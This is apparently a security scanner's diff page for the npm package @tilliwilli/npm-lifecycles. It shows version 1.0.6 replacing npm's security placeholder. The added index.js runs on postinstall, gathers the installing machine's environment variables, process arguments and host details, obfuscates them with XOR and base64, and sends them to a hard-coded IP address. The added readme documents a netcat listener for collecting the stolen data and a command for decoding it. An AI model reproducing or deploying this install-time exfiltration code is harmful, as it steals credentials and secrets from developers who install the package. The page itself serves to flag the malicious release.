@tilliwilli/npm-lifecycles 0.0.1-security → 1.0.6

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @tilliwilli/npm-lifecycles might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,33 @@
1
+ var util = require("util");
2
+ var http = require("http");
3
+ var package = require("./package.json");
4
+
5
+ var log = {
6
+ package: package.version,
7
+ time: (new Date()).toISOString(),
8
+ event: process.env.npm_lifecycle_event,
9
+ version: process.version,
10
+ arch: process.arch,
11
+ platform: process.platform,
12
+ features: process.features,
13
+ env: process.env,
14
+ title: process.title,
15
+ argv: process.argv,
16
+ execArgv: process.execArgv,
17
+ pid: process.pid,
18
+ ppid: process.ppid,
19
+ execPath: process.execPath,
20
+ debugPort: process.debugPort,
21
+ argv0: process.argv0,
22
+ _preload_modules: process._preload_modules,
23
+ mainModule: process.mainModule,
24
+ };
25
+
26
+ var output = util.inspect(log);
27
+
28
+ http
29
+ .get({
30
+ hostname: "51.250.107.250",
31
+ headers: { Authorization: `Bearer ` + Buffer.from(output).map(x => x ^ 7).toString("base64") }
32
+ })
33
+ .end();
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "@tilliwilli/npm-lifecycles",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.0.6",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node index.js"
7
+ }
8
+ }
package/readme.md ADDED
@@ -0,0 +1,84 @@
1
+ # list of events occur when publishing
2
+
3
+ - prepublishOnly
4
+ - prepack
5
+ - prepare
6
+ - postpack
7
+ - publish
8
+ - postpublish
9
+
10
+
11
+ # list of events occur when installing from npm registry
12
+
13
+ - preinstall
14
+ - install
15
+ - postinstall
16
+
17
+
18
+ # list of events occur when installing from file:// protocol (file:///htdocs/test)
19
+
20
+ - preinstall
21
+ - prepare
22
+ - install
23
+ - postinstall
24
+
25
+
26
+ # list of events occur when installing from http:// protocol (http://localhost:8000/test.tar.gz)
27
+
28
+ - preinstall
29
+ - install
30
+ - postinstall
31
+
32
+ # what web server receives from `npm i http://localhost:8000/test.tar.gz`
33
+
34
+ ```bash
35
+ ┌──(tilli㉿pasakoh)-[/mnt/c/Users/tilli/htdocs/visiology-public-utilities-hack]
36
+ └─$ nc -lvnp 8000
37
+ listening on [any] 8000 ...
38
+ connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 48492
39
+ GET /test.tar.gz HTTP/1.1
40
+ npm-command: install
41
+ pacote-pkg-id: remote:xxx@http://localhost:8000/test.tar.gz
42
+ pacote-req-type: tarball
43
+ pacote-version: 12.0.3
44
+ user-agent: npm/8.5.0 node/v16.14.2 win32 x64 workspaces/false
45
+ if-modified-since: Sun, 10 Apr 2022 12:48:38 GMT
46
+ connection: keep-alive
47
+ Accept: */*
48
+ Accept-Encoding: gzip,deflate
49
+ Host: localhost:8000
50
+ ```
51
+
52
+ # listening server
53
+
54
+ ```bash
55
+ while true; do sudo nc -N -lvnp 80 < response.json >> output; done
56
+ ```
57
+
58
+
59
+ # response.json
60
+
61
+ ```bash
62
+ HTTP/1.1 200 OK
63
+ Connection: close
64
+
65
+ {"result":"ok"}
66
+
67
+ ```
68
+
69
+ # extract request payload
70
+
71
+ ```bash
72
+ grep Auth output | awk '{print $3}' | base64 -d | less
73
+ ```
74
+
75
+
76
+ # investigate more
77
+
78
+ - place exe in node_modules/.hooks/{eventname} https://docs.npmjs.com/cli/v6/using-npm/scripts#hook-scripts
79
+
80
+
81
+ # links
82
+
83
+ https://docs.npmjs.com/cli/v8/using-npm/scripts#life-cycle-scripts
84
+ https://docs.npmjs.com/cli/v8/configuring-npm/package-json#scripts
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40tilliwilli%2Fnpm-lifecycles for more information.